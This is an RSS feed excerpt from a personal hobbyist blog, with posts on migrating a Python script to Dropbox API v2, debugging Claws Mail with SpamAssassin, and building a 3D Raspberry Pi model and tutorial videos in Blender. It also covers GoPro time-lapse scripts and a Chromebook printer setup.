Requirement already satisfied (use --upgrade to upgrade): urllib3 in /usr/local/lib/python2.7/dist-packages (from dropbox)
Cleaning up...</code>

<code>sudo pip install --upgrade dropbox</code>
<code class="output">Cannot fetch index base URL http://pypi.python.org/simple/
Could not find any downloads that satisfy the requirement dropbox in /usr/local/lib/python2.7/dist-packages
No distributions at all found for dropbox in /usr/local/lib/python2.7/dist-packages
Storing complete log in /root/.pip/pip.log</code>


might be related to this issue
[url]https://bugs.launchpad.net/ubuntu/+source/python-pip/+bug/1658844[/url]

<code>wget https://bootstrap.pypa.io/get-pip.py
sudo python get-pip.py --prefix=/usr/local/
sudo pip install --upgrade dropbox</code>

new error, looks like the API has not got the same objects :(
<code class="output">Traceback (most recent call last):
  File "dropbox_test.py", line 5, in <module>
    client = dropbox.client.DropboxClient('DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF')
AttributeError: 'module' object has no attribute 'client'</code>


[url]https://github.com/dropbox/dropbox-sdk-python[/url]

So changing [em]dropbox.Client[/em] to [em]dropbox.Dropbox[/em] resulted in needing to change

<code>client.account_info()</code>
to
<code>client.users_get_current_account()</code>

<code>client.put_file(path,file)</code>
to
<code>client.files_upload(file,path)</code>

but that fails with

<code class="output">TypeError: expected request_binary as binary type, got <type 'file'>

so that became two lines
<code>data =f.read()
client.files_upload(data,path)</code>

then

<code>f, metadata = client.get_file_and_metadata(frompath)</code>
changes to 
<code>metadata, f = client.files_download(frompath)</code>

and then the code to save the file was

<code>out = open('magnum-opux.txt', 'wb')
out.write(f.read())
out.close()</code>

becomes

<code>out = open('magnum-opux.txt', 'wb')
out.write(f.content)
out.close()</code>

but it does work.

there was also a test I did to get the root folder metadata
<code>folder_metadata = client.metadata('/')</code>
became
<code>folder_metadata = client.files_get_metadata('/')</code>

but then get error

<code class="output">Error in call to API function "files/get_metadata": request body: path: The root folder is unsupported.</code>

changing it to my test folder did work.

Then there was the missing forward slash. [em]'20171229/20171229224356_1.jpg'[/em] used to work with the v1 API but now gives an error
<code class="output">dropbox.stone_validators.ValidationError: '20171229/20171229224356_1.jpg' did not match pattern '(/(.|[\r\n])*)|(ns:[0-9]+(/.*)?)|(id:.*)'</code>

Prepending the forward slash fixed that and now all my code is v2 compliant and is tested to work.

FYI the v2 API was green lighted in 2015 and the V1 API depreciated 2016
[url]https://blogs.dropbox.com/developers/2016/06/api-v1-deprecated/[/url]
and turned off in 2017
[url]https://blogs.dropbox.com/developers/2017/06/updated-api-v1-deprecation-timeline/[/url]
migration guide
[url]https://www.dropbox.com/developers/reference/migration-guide[/url]

Must have created my v1 based script just before they announced v2 in 2015 and or the end date of 2016/2017 must have seemed a world away.
</description>
</item>
<item>
<title>trying to get my claws out of spam assassin</title>
<pubDate>Wed, 27 Dec 2017 22:05:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p271220172205</link>
<description>
You know if I have to post to the [url title="Gentoo forums"]https://forums.gentoo.org/viewtopic-p-8160746.html[/url] then things have gone bad.

Every time I "get mail" in Claws mail, the status bar shows filtering to spamassassin for 7-8 minutes. But then I get any new mails correctly.

To try and narrow down the problem I ran
<code>
egrep "@" /var/log/messages | egrep -o "spamd:.+$" | sort | uniq -c | sort -n	</code>
which showed it was the same messages each time. 198 of them. I then checked the POP3 mailbox that my mail is picked up from, but there were no messages with those email addresses.

Enabled "Show receive dialogue" and Claws clearly says "no new messages" but the status line reads "Spamassassin Filtering message n/198" where n = 0-198.

When there are new messages Claws returns almost immediately, correctly reporting the number of new "real" messages and then the "Spamassassin Filtering message n/N" where N = 198+new.

/var/log/messages spamd entries for these 198 all appear to have spammy email domains.
e.g.

Code:	
Dec 26 22:33:12 MACHINE spamd[22749]: prefork: child states: II
Dec 26 22:33:13 MACHINE spamd[24297]: spamd: connection from localhost [127.0.0.1]:56708 to port 783, fd 6
Dec 26 22:33:13 MACHINE spamd[24297]: spamd: setuid to MYUSER succeeded
Dec 26 22:33:13 MACHINE spamd[24297]: spamd: checking message &lt;c332257553e5d5f138a77a9e350c908b@alrowadms.com&gt; for MYUSER:1000
Dec 26 22:33:14 MACHINE spamd[24297]: spamd: clean message (4.6/5.0) for MYUSER:1000 in 0.4 seconds, 4651 bytes.
Dec 26 22:33:14 MACHINE spamd[24297]: spamd: result: . 4 - BAYES_99,BAYES_999,DKIM_SIGNED,HELO_MISC_IP,HTML_MESSAGE,RCVD_IN_DNSWL_NONE,RDNS_NONE,T_DKIM_INVALID scantime=0.4,size=4651,user=MYUSER,uid=1000,required_score=5.0,rhost=localhost,raddr=127.0.0.1,rport=56708,mid=&lt;c332257553e5d5f138a77a9e350c908b@alrowadms.com&gt;,bayes=0.999765,autolearn=no autolearn_force=no
Dec 26 22:33:14 MACHINE spamd[22749]: prefork: child states: II
Dec 26 22:33:15 MACHINE spamd[24297]: spamd: connection from localhost [127.0.0.1]:56710 to port 783, fd 6
Dec 26 22:33:15 MACHINE spamd[24297]: spamd: setuid to MYUSER succeeded
Dec 26 22:33:15 MACHINE spamd[24297]: spamd: checking message &lt;c10e2276c9c00d28d61220e031890465@bricksitalia.com&gt; for MYUSER:1000
Dec 26 22:33:16 MACHINE spamd[24297]: spamd: clean message (4.5/5.0) for MYUSER:1000 in 1.2 seconds, 3142 bytes.
Dec 26 22:33:16 MACHINE spamd[24297]: spamd: result: . 4 - BAYES_99,BAYES_999,HELO_MISC_IP,HTML_MESSAGE,RCVD_IN_DNSWL_NONE,RDNS_NONE scantime=1.2,size=3142,user=MYUSER,uid=1000,required_score=5.0,rhost=localhost,raddr=127.0.0.1,rport=56710,mid=&lt;c10e2276c9c00d28d61220e031890465@bricksitalia.com&gt;,bayes=1.000000,autolearn=no autolearn_force=no


Found an error in syslog "Dec 26 21:09:13 MACHINE spamd[22192]: spamd: failed to create readable default_prefs: /home/MYUSER/.spamassassin/user_prefs"
That I was able to fix by editing /etc/conf.d/spamd and setting SPAMD_RUN_AS_ROOT=true. That fixed that error but the behaviour continues. As part of that issue I also deleted the /home/MYUSER/.spamassassin/user_prefs file, it has been automatically recreated.

So, on each collection of mail, Claws appears to only get new messages and invokes spamassassin, but for some reason spam assassin tries to process 198 "other" messages.

Where are these messages and how can I stop spamassassin processing them ?

...

And then things turn nasty.

I shut down claws and when I reopened it the same sequence of events start to take place and then it crashed ...

<code class="output">suspecting a corrupt file in UTF8 conversion</code>

running in debug mode

<code>claws-mail --debug</code>

<code class="output">spamassassin.c:214:Filtering message 3566
procheader.c:155:generic_get_one_field: empty line
procheader.c:155:generic_get_one_field: empty line
procheader.c:155:generic_get_one_field: empty line
tnef_parse.c:295:Tnef parser parsing part (42094).
tnef_parse.c:297:content: /home/MYUSER/.claws-mail/mimetmp/claws.5BDZBZ
Attempting to parse /home/MYUSER/.claws-mail/mimetmp/claws.5BDZBZ...
suspecting a corrupt file in UTF8 conversion</code>

Tried removing the claws.5BDZBZ file but on the next run it was recreated with a different name.

Found a single mention of the same issue [url]https://groups.google.com/forum/#!topic/linux.debian.bugs.dist/rp-XIynhoMU[/url] which led me to re-emerge ytnef. Which was pointless because the ytnef claws-mail uses is built in.

But I found if I started claws-mail in offline mode and then disabled the tnef plugin I could then restart in online mode and not crash out. 

<code>claws-mail --offline</code>

Now I knew what folders to look in I started poking around for the 198 messages.

[em]/home/MYUSER/.claws-mail/tempfolder/processing-1[/em]
Contains 201 files, of which 3 were not email messages, BINGO 198. The date range was surprising

2016-11-04 21:11:15 - 2017-02-24 06:00:00

I knew this issue had been going on a while, but as I always ended up with my emails, I just got used to doing something else while waiting.

So I renamed the [em]/home/MYUSER/.claws-mail/tempfolder/processing-1[/em]

claws recreated the folder and ... IT WORKED!

Re-enabled the "tnef" plugin and it continued to work.

I had a look in the renamed processing folder and found each message was indeed spam and curiously they were all to a single email address. Which is odd because I get emails from all sorts of addresses forwarded to this mailbox.

Probably should have looked at fixing this issue before, like 14 months ago :)
</description>
</item>
<item>
<title>you finished what pi</title>
<pubDate>Sat, 23 Dec 2017 22:43:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p231220172243</link>
<description>
Wow! I have really blasted through the last 20+ components.

<img src="images/rpi3_component_tracking_update3.jpg" alt="tracking component creation for 3d raspberry pi model">

All squares are now covered, meaning a 3D model exists for all those components that I could identify. The Yellow is where the texture needs cleaning up to remove shadows from the original camera shots. The tiny bits of green are texture points that need tidying. For instance the big 4R7 octagonal components are visible with perspective, meaning you see the edge not the top, which in turn misrepresent their position on the board.

I knew the last components were going to be the most complicated, due to text and other designs. For some I just used the Blender built in font and it looks 80% the same and the for the others I traced the source images and added the results. To begin with I loaded the images as a background into Blender and manually added curves. This took a long time and seemed a bit much. then I remembered that Inkscape can trace bitmaps and save them as SVG. Although tiny, these SVGs then represented mathematical curves.

Before I could CTRL+J (join) the curves/text to the components I had to convert them to Mesh objects.

<img src="images/pi3_topside_components_no_DOFcorner.jpg" alt="render of the topside corner of the 3d raspberry pi">

So, now I just need to paint out the shadows and the "texture tidying" before revisiting my material library in Blender and ...

Well lets just say I have a few fun ideas for when I have a finished Pi3 model :)
</description>
</item>
<item>
<title>up the underside of my raspberry pi model</title>
<pubDate>Wed, 20 Dec 2017 22:29:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p201220172229</link>
<description>
OK, the underside is complete (bar the shadow removal on the texture)
<img src="images/pi3_underside_DOF.jpg" alt="render of the underside of the 3d raspberry pi">

<img src="images/pi3_underside_no_DOF.jpg" alt="render of the underside of the 3d raspberry pi single material">

I will not tackle the image editing until the last of the components are modelled. I also expect to revisit a number of the materials when used with an HDRI for lighting.
</description>
</item>
<item>
<title>moar pi gone bottom not quite</title>
<pubDate>Wed, 20 Dec 2017 18:27:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p201220171827</link>
<description>
It is important to me that I show that the Pi is progressing
<img src="images/rpi3_component_tracking_update2.jpg" alt="grid of pi components tracking current state p2">

As you can see, almost all the bottom components are complete. The Yellow smudges are where I need to remove a shadow from the original photography, now real 3D elements cast real shadows. Those shadows cast in different directions based on light sources :) 

</description>
</item>
<item>
<title>pi component state update one</title>
<pubDate>Thu, 14 Dec 2017 22:08:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p141220172208</link>
<description>
Pi is progressing
<img src="images/rpi3_component_tracking_update1.jpg" alt="grid of pi components tracking current state">

compare to last months [url title="Posts"]Nov2017.html[/url]
</description>
</item>
<item>
<title>gopro git script is the real timelapse hero</title>
<pubDate>Sun, 10 Dec 2017 17:23:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p101220171723</link>
<description>
So, I keep forgetting I own the GoPro Hero, but I took it out for "work" today. It snowed and it NEVER snows around here, kids went mad and we all built a massive snowman.

I set up the GoPro Hero on the windowsill and started a time-lapse. This being the cheapest of the GoPros there are a number of limitations. 

Fused case; cannot take camera out of case.
Battery fixed; cannot remove battery, have to charge camera directly.
5mp at 2592x1944; square shots.
Max SD card size of 32gb (class 10).
All time-lapses are fixed at one frame per 0.5 seconds.
Time-lapses are stills not a video.

But as it is often as much as 1/4 of the price of other GoPros I can let all that slide and the waterproof case is good to 131ft. Not to mention it was a gift, so cost me nothing.

So I spent my time building the time-lapse stills into a movie and ... It is boring, really boring everything moves too slowly. So I got to wondering if there were any hacks to fix the frame rate.

[url]https://github.com/KonradIT/autoexechack/tree/GoPro/HERO/TimeLapse[/url]

has a collection of script files that you just save to the root of your SD card and it just works!

Here is the 30 second per frame script.

<code>sleep 1
t app key mode
sleep 15
t app key record
sleep 1
reboot yes
</code>

Looks like it switches modes waits 15 seconds takes a picture and then reboots to repeat it all over again.

15 seconds?? No idea how it works but a test recording of 5 mins of a clock showing the seconds, confirms that each still is taken at exactly 30 seconds. The other scripts at that location are for 10 seconds per frame, where the value is 5 and 5 seconds per frame where the value is 1.

It is worth pointing out at this point that after adding the script (with the special name "autoexec.ash"), turning on the camera will immediately start executing the program, which caught me unaware as the time-lapse screen still said 0.5 and I ended up recording my confused face.

The GIT repo has a ton of other hacks for all types of GoPro cameras.

[url]https://github.com/KonradIT/autoexechack[/url]
</description>
</item>
<item>
<title>flog fix not very good</title>
<pubDate>Thu, 30 Nov 2017 21:23:30 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p301120172123</link>
<description>
Annoyingly the only way to fix a spelling mistake in the last post is to create a new post. Normally I can just wait for a new post of value, but because this is the last day of the month I have to post something before midnight ...
</description>
</item>
<item>
<title>how many pi components are missing</title>
<pubDate>Thu, 30 Nov 2017 21:14:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p301120172114</link>
<description>
Raspberry Pi3 Hires
(I am not a perfectionist, because nothing I do is perfect)

I can do better than just talk about the new SD Card slot [url title="talk about the new SD Card slot"]Nov2017.html#p291120172215[/url] Here is the original image 
<img src="images/pi3_with_sdcardslot.jpg" alt="rendering of modelled raspberry pi circuit board close up on SD card slot">
and the new one, with bit of DOF, for effect.
<img src="images/pi3_with_sdcardslot_redone.png" alt="reworked sd card slot 3d model on a raspberry pi circuit board rendered in blender">

You can see everything has nice curves and none of the nasty edges, where the bad geometry was. The text is far too clean compared to the real one but there are limits.

Speaking of which this is the current state of the components. Each square with a Red cross through it is done and dusted. The little Red crosses are components that are modelled and in place. Each of these need to be painted out of the texture, or they bleed out of their 3D counter parts. The Blue bits are components I have not yet modelled.

As you can see there are a far few to do on the underside of the Pi. There is a whole class of teeny tiny capacitors and resistors that I have not marked because they are so small.
<img src="images/rpi3_component_tracking.jpg" alt="texture map for raspberry pi 3D model augmented with grid and work markers">

</description>
</item>
<item>
<title>knifing an sd slot for cleanliness</title>
<pubDate>Wed, 29 Nov 2017 22:15:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p291120172215</link>
<description>
Raspberry Pi3 Hires
(I am not a perfectionist, because nothing I do is perfect)

So I revisited the over worked [url title="SD Slot"]Apr2017.html#p290420171759[/url] and spent about and hour trying to fix the geometry to no affect, reverted twice.

Then I gave up and decided to recreate it from scratch. This time I used no booleans and used the Knife tool to cut everything. Bevelling was done on an individual vertex level.

The results are almost too clean, but I can live with that and I have added some tiny text as per the real life SD Slot.

The component identification as located a HUGE number of items on the reverse of the board. The top was pretty much done apart from 20 minor components. On top of that, the raw image will need cleaning.
</description>
</item>
<item>
<title>teeny tiny peices of pi</title>
<pubDate>Mon, 27 Nov 2017 22:08:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p271120172208</link>
<description>
Raspberry Pi3 Hires
(I am not a perfectionist, because nothing I do is perfect)

[X]Board in Blender
-[X]Measure board
-[X]Model
-[X]Texture
-[X]Main components on the bottom
--[X]Chip
--[X]SD slot
--[X]Model Solder types
---[X]Add Solder types
--[X]Plastic through clip x2 
--[ ]Micro components, like capacitors (loads of these) 
-[X]Main components on the top
--[X]GPIO pins
--[X]Camera connector
--[X]Display connector (identical to the camera connector)
--[X]Broadcom chip
--[X]Other chip (networking and USB, I think)
--[X]USB power connector
--[X]HDMI connector
--[X]Headphone jack
--[X]Ethernet connector
--[X]USB connector pair x2 (making four)
--[ ]Micro components, like capacitors (loads of these) 

Started on the sub components for the top side of the Pi.
The Capacitors and Resistors share a common ancestry. A single stretch Cube with loop cuts at the ends and a shiny material for the ends and a yellow center for the capacitors and dark grey center for the resistors.

I noticed the "shiny" ends in real life were often corrupted by solder, so I added a random bump noise.

There are about 100 different capacitors and resistors and this is only the top side of the board!
<img src="images/pi3_dof_top_caps_resistors.jpg" alt="raspberry pi 3 rendered in blender highlighting the added capacitors and resistors" >

Also tweaked the main metal texture, but that screwed up my Ethernet decal. So just got better at doing the decal :)
Another thing I noticed in "real life" is that the more I zoom in the more items I see that are not 100% parallel. I think I might get some randomness in before the end.
</description>
</item>
<item>
<title>super rainbow wave cloud blender composition madness</title>
<pubDate>Sat, 25 Nov 2017 19:41:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p251120171941</link>
<description>
Blender! Just let me get on with my [url title="Raspberry Pi project"]tags.html?tag=hires[/url].

But no, it keeps on teasing me with [url title="other things to play with"]Oct2017.html#p091020172249[/url]

Here we have, not only a video but a tutorial with voice over. Not my voice, I used espeak to do the work.

<iframe width="560" height="315" src="https://www.youtube.com/embed/DfXLSPeYGkU" frameborder="0" gesture="media" allowfullscreen></iframe>
[url]https://youtu.be/DfXLSPeYGkU[/url]

I could not find a way of adding pauses or delays in the input to espeak (without make everything phonetic), so there are some strange ramblings just to get to the next bit. 

It is comprised of the composition animation, setting up the mesh and animating the wave, defining the three materials, a review of the video sequence file and then the cloud animation, toon animation and the ribbon animation.

This was the first time I used VSE in anger and learned about Meta Strips. Which are just grouped normal strips, but make life some much easier!

The first animation of the Cloud at 1920x1080 and 1000 frames took almost exactly 48 hours. Then the Toon animation took 10 hours and finally the ribbon animation took another 24 hours(almost to the dot).

I felt with that sort of investment I should try and make something from it.

Learned a lot from putting the whole thing together :)

Here is the transcript, as passed to espeak;

<code>
After this demonstration I will explain how the modelling, animation, textures and video editing is all done in blender.
There are three textures, the cloud, the toon texture and the wire texture.
The animations were rendered in 4 parts, the cloud taking 48 hours at 19 20 by 10 80.
The toon  taking 10 hours at 19 20 by 10 80.
the wire taking 24 hours at 19 20 by 10 80.
and finally the composite taking under half an hour.
Notice how the amplitude of the wave is decreasing until there is no movement.
.
We will start by re-scaling the default cube.
This will form our cloud.
By adding a sub surf modifier the cube is made more and more rounded.
Set both the View and Rendered values to 4.
Apply the modifier and set the mesh smooth.
Now add a Wave modifier.
Set the animation life to 250.
Set the speed to 0 point 0 1.
Set the width to 0 point 2 5.
Finally set the height to 10.
then, add another sub surf modifier to make the result smoother, this one is set to 2.
We can now see the wave.
These wave values were found by trial and error and only match the specific scaling on our default cube.
If you scale the cube with different values, then the wave speed and amplitude will not match.
The animation is uniform, we want it to be animated so that the wave decreases.
At frame 1, hover over the height box and press i to create a key frame.
Then, at frame 200 and 50 set the height value to 0 and press i to create a key frame.
The height value can be seen decreasing to 0 as the animation progesses.
.
Make sure you are in the cycles render engine. 
then set up the screen layout with a render view, at the bottom of the screen and a node view at the top.
You will be able to see the render update as the material nodes change.
Create a new material and click, use nodes.
We will start with the default diffuse B S D F material.
Zoom in with the mouse wheel and make space by moving everything to the right.
Add a colour ramp from the converter menu.
Add three new colour points by using the plus sign.
You can manauly move them about so they are evenly spaced out.
Then set each point to be a bright colour.
You can of course use any colours but we are going for a rainbow type effect.
I often want a rainbow colour ramp to clearly show how colours are going to affect objects.
It maybe worth spending time creating an add on or a python script to generate these for me.
Once the colours are specified, connect the colour ramp node to the diffuse B S D F node.
The object will be coloured by the middle colour from the colour ramp.
0 point 5.
We want the value to change based on the textures location on the object.
The default generated coordinates will do.
Add a texture coordinate node from the input menu and connect it.
Now the rainbow effect can be seen on the cloud object.
By adding a gradient texture from the texture menu the we can get a better result.
.
To rotate the texture.
add a mapping node, from the vector menu.
We can control the scale and location from here.
and by manipulating the zed rotation value we can see the texture rotate.
To animate the value.
set the zed value to, minus 90.
then set the frame to 1, and hover over the zed the value, press i to add a key frame.
set the current frame to 200 and 50 change the zed value to 90 degrees and press i to add a key frame.
we can now clearly see the animation interprelating the values between minus 90 and 90. 
.
Now let us add the cloud texture.
Add a mix shader from the shader menu.
from the shader menu, connect a volume absorbtion shader node to the top mix shader connector.
from the shader menu, connect a volume scatter node to the bottom mix node connector.
Connect this mix node to the volume connector on the material output node and disconnect the diffuse B S D F shader.
This gives us the cloudy ness.
Connect the colour output from the colour ramp to both the colour inputs of the volume nodes.
The cloud is a bit grey so let us increase the lighting.
Select the lamp click, use nodes.
increase the strength to 500.
select the world icon in the tools and set the colour to black.
by scrubbing through the animation we can see the rainbow texture rotating, on, and with in the, now volumetric, cloud mesh.
how ever, it is still a bit to dark.
there is no ambient light from the background.
we can try changing the lamp strengh to 800.
but purhapse a sun lamp type would work better. 
800 is to strong for a sun lamp.
change the value to 10.
that is much better.
.
The toon material is the easiest to create.
Make room in the node layout.
add the toon shader from the shaders menu and using its defaults.
connect colour from the colour ramp to the colour input on the toon shader.
connect the B S D F to the material output surface input.
disconnect the volume.
The toon shader creates some stunning visuals with high contrast shadows and colours.
It produces a vibrant affect with our rainbow cloud wave.
The result looks almost flat as watch the colours move across the animating cloud mesh.
.
to create the wire slash ribbons material we need to mix a colour and transparent source.
add a mix node and connect it to the material output node.
we cannout use the colour ramp output directly so connect the B S D F to the top connector on the mix node.
now add a transparent shader from the shaders menu and connect it to the bottom connector on the mix node.
currently the this will just make a semi transparent material.
add a wave texture from the textures menu.
connect the output from the texture mapping node to the vector input on the wave texture node.
add a new colour ramp from the converter menu and connect the wave node to it.
connect the colour output to the factor on the mix node.
you can already see stripes appearing on the mesh.
by moving the black and white default colour points in the colour ramp node we can define the size of the ribbons.
adding addition colours would have no effect as we are just taking the brightness a value to affect the mix node factor.
this ribbon affect allows us to see through the object as if the gaps between the ribbons where holes in the mesh.
if we review the animation, the colour rotation and wave animations still play nicely with the ribbons in place.
the ribbons as they exist at the moment are a bit fuzzy.
lets fix that now.
the gradient between the black and white points in the colour ramp node is the problem.
by moving the two colour points closer together we reduce this and thus the ribbons become sharper.
.
finally we are going to review the video composition rather than create it from scratch.
this blender session is set to the blender internal renderer. 
each video has been loaded into the video editor and has had various effects applied.
these have been grouped into meta strips and collapsed so all you can see are the main sections.
you can expand a meta strip with, tab.
here is the mix of the three rendered material types, with differing transistion wipes applied.
here is the first wipe transition affect.
it is set to a transition type of, double.
this produces the expanding, door affect, revealing the next video.
positioned above the first in the strip layout.
next the transition type is iris, that creates an increasing hole, revealing the next video.
the blur width can be changed to make the transition smooth or sharper.
we then repeat the iris wipe transition, but allow it to reveal the next video below the last.
and finally, another wipe transition type of double.
remember this is all happening with in a meta strip.
tab out of this strip and we will look at the next meta strip.
this meta strip has only one video and one effect.
the effect scales the video to 1 third its original size and translates it to the top left corner.
the final video out put has two of these.
the second one also scales to 1 third the original size, but translates to the top right.
The three meta strips combine to make the final video, with its three source files split, and combined to make the final composition.
The voice over you have been listening to is simply the out put from the linux e speak program saved as wav file and.
you guessed it.
combined within blender.
we will end with the three original video results.
</code>


</description>
</item>
<item>
<title>Wacom comes home to Linux</title>
<pubDate>Sat, 25 Nov 2017 11:10:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p251120171110</link>
<description>
Wacom is back in business (on my machine). If you remember back in [url title="June"]Jun2017.html#p180620171404[/url] any use of me 7+ year old Wacom tablet crashed the machine.

It is great to finally have it back again. The Wacom tablets are a joy to use. No batteries or setup, they just work. Gimp and Blender just work even with the pressure sensitivity.

One of the reasons I got into Linux was the backwardly compatible hardware support, this just makes me so happy.

In other news I had another Blender Shiny attack and then felt compelled to create a video about it. Hopefully I will finish that today.
</description>
</item>
<item>
<title>android pong denied</title>
<pubDate>Sat, 18 Nov 2017 10:12:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p181120171012</link>
<description>
I had an idea. It was a good idea and at first it worked perfectly. Luckily I decided to test it before putting it into practice.

My [url title="PiCam"]/flog/tags.html?tag=pir[/url] needs to be toggled on and off from DropBox, which is great, but I have to remember to do it. What if the PiCam just enabled every time I left the house?

Every time I leave the house I take my phone with me. So I can just ping the phone on the local wifi once a minute and if it is there I am home, if not activate the PiCam. False positives are acceptable ...

So I just ran
<code>while (true); do date >> ~/temp/pixel.ping; ping -c 1 android-243f580de23000a8.home >> ~/temp/pixel.ping;sleep 1m; done
</code>
and left it running for a few days.

Initially it seemed to work fine. But closer inspection showed that only when the phone active or charging was the ping "pongged". If it was just in the house then it did not respond. Of course, I could unlock it or wait for a background application (like the BBC news) to do some networking, but those activities would have to correspond with the ping :(

I could write an app and install it on my phone to send a request to a NodeJS server on the PiCam. Sadly I have no time or patients for that.

Hmmm, I think the next step will be to see if I can create a persistent Bluetooth pair from the PiCam to the phone...
</description>
</item>
<item>
<title>printers lies and chromebooks</title>
<pubDate>Mon, 06 Nov 2017 21:10:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p061120172110</link>
<description>
I was helping Sarah out with setting up Chromebooks for new employees. She has a Google Suite account that means that creating new emails and log in details is very easy. All she wanted me to do was make the printer work on them...

So the printer and the Chromebooks are on the same WiFi so it should be easy? NO! Deep in Google's documentation there is the little note that YOU CANNOT SETUP A PRINTER ON A CHROMEBOOK! But, but you can use printers on a Chromebook.

Yep, very confusing. You must make sure another PC/Mac has the printer setup, again, on the same network. Then go into the Chrome browser, log in to Google and then go to chrome://devices and then add the printer.

Now the printer is associated with your Google account and you can "Manage Printers" on any Chrome browser whilst logged in. You can share the printer with others. the G-Suite finds employees. And the Chromebook can finally print!

What it does not state, is that that PC/Mac is now the living breathing print server and if you turn it off OR disconnect it from the network then you CANNOT PRINT!

You would have thought that by now printers would be so generic that a single network printer driver could "drive" any printer, at least for its basic functions!

So at the end of the day the route to getting a printer makes sense. Setup a print server with the dedicated drivers and using your Google account link the access. But the documentation is appalling, it is all over the place. Mainly because the Chromebook documentation just links to the standard Chrome documentation. Not to mention the funny little UI inconsistencies in the Settings pages.

I can not imagine a non-technical person being able to figure any of it out. What if you only had Chromebooks?

Phew! I feel better after that rant.
</description>
</item>
<item>
<title>joe presents spain in a blender</title>
<pubDate>Thu, 02 Nov 2017 22:03:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2017.html#p021120172203</link>
<description>
Here is Joe doing a presentation on Spain. You may notice a small amount of Blender based effects :)

<iframe width="560" height="315" src="https://www.youtube.com/embed/iWh41FXybIw" frameborder="0" gesture="media" allowfullscreen></iframe>

So that was where the [url title="star"]Oct2017.html[/url] was used.
</description>
</item>
<item>
<title>USB x4 projected knives save the day</title>
<pubDate>Wed, 25 Oct 2017 21:36:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2017.html#p251020172136</link>
<description>
Raspberry Pi 3 HiRes
(so close)

[X]Board in Blender
-[X]Measure board  
-[X]Model
-[X]Texture
-[X]Components on the bottom
-[ ]Components on the top
--[X]GPIO pins
--[X]Camera connector
--[X]Display connector (identical to the camera connector)
--[X]Broadcom chip
--[X]Other chip (networking and USB, I think)
--[X]USB power connector
--[X]HDMI connector
--[X]Headphone jack
--[X]Ethernet connector
--[X]USB connector pair x2 (making four)
--[ ]Micro components, like capacitors (loads of these)

This time I did not use the Bevel Modifier, I did use the Mirror Modifier and Solidify Modifier. To get the bevelled edges I bevelled each individually with CTRL + B

To get the triangular cuts I tried first the Knife Tool, which was good but a bit imprecise. When it came to getting the same cut through multiple layers I knew I needed something more robust. I added a new Plane with the faces deleted shaped as the cut I wanted, positioned it above the cut area and used the Knife Project tool. 
That is Project as in Projector not Project as in ... projects :S

I made two mistakes here. First was to realign the camera after taking the first cut and expecting it to take the new cut in the same direction, when instead the cut occurred from the cameras new point of view! The second was to carefully select the faces I wanted affected by the cut and hide any others when I could have just enabled the Cut Through option.

It is a bit tricky to work out how to use Knife Project at first. You must select the open object (no faces) and then the target object (hold down SHIFT). Go in to Edit Mode and make sure the target areas of the object are selected. Then hit Knife Tool and optionally click the Tool option Cut Through.

<img src="images/pi3_usb_connectors.jpg" alt="renderings of raspberry pi circuit board highlighting the USB connectors">

and yes, the USB pins are supposed to be in that odd pinched configuration.
</description>
</item>
<item>
<title>what the star freestyle and dual scenes in vse</title>
<pubDate>Wed, 18 Oct 2017 22:55:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2017.html#p181020172255</link>
<description>
So what did I want with a [url title="star shape"]Oct2017.html#p141020171620[/url]? Well I can not show you (yet) but it was for a homework video where Joe is talking about the weather and how hot it is. 

This scene is made up of a thermometer that scrolls (and bounces), two sweat drops and a smiling Sun that creates a blank/fade out at the end of the scene. 

The Thermometer is just a list of numbers created as Font objects and a triangle plane as a "here" marker. The text is different colours to show hot to cold. The sweat drops are timed to animate when Joe wipes his brow. They are created from a Mesh circle that has been "bent" using a Proportional Grab with a "highlight" squashed sphere added on top. The Sun is my Star object with a number of Mesh circles added on to make a face, eyes, eye-highlights and a mouth.

Nothing exciting so far. What I found was the Thermometer and the sweat drops did not look right, fading into the video. To fix this, I turned on Freestyle that draws a border on everything. The Thermometer and the drops now "popped" and looked awesome but the Sun which was made up of a lot more components looked awful.

What to do? I needed the Freestyle look to make the Thermometer and the sweat drops more visible but I could not have the Freestyle lines on the Sun, where it drew lines around each element and made a mess.

I had noticed that in the VSE (video editor) when adding a Scene (the rendering stuff in Blender) that you could select a Scene (only ever had one before). So I tried something new (to me). I created a copy of my existing scene (Plus button at the top of the Blender window next to "Scene") and turned Freestyle off. Then I added the new Scene after the existing Scene in the VSE where it was overlaid on the video of Joe talking. Bit more messing about with timing and hiding stuff and the video plays with Joe in the background, the thermometer in the foreground with Freestyle lines then the animated sweat when Joe wipes his brow and finally the Sun (without any Freestyle lines) appears and grows until it covers the whole screen.

Once the video is completed I will upload it. It already has a Shape Key controlled animated globe and a Cloth with Wind flag flapping.
</description>
</item>
<item>
<title>what nth select blender not checker deselect</title>
<pubDate>Sat, 14 Oct 2017 16:20:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2017.html#p141020171620</link>
<description>
I needed a Sun shape in Blender. I had thought of crafting in Inkscape, but I wondered how easy it would be to create a mesh circle and scale every other vertex ...

Having created Blender Python scripts before ([url title="saltshaker"]http://saltshaker.sourceforge.net[/url]) in the distant past, I expected a hard slog to find the required code. But Blender has Templates in the Text editor window and they cover almost any simple task you might require.

So it was a simple process of 

Creating a Mesh Circle
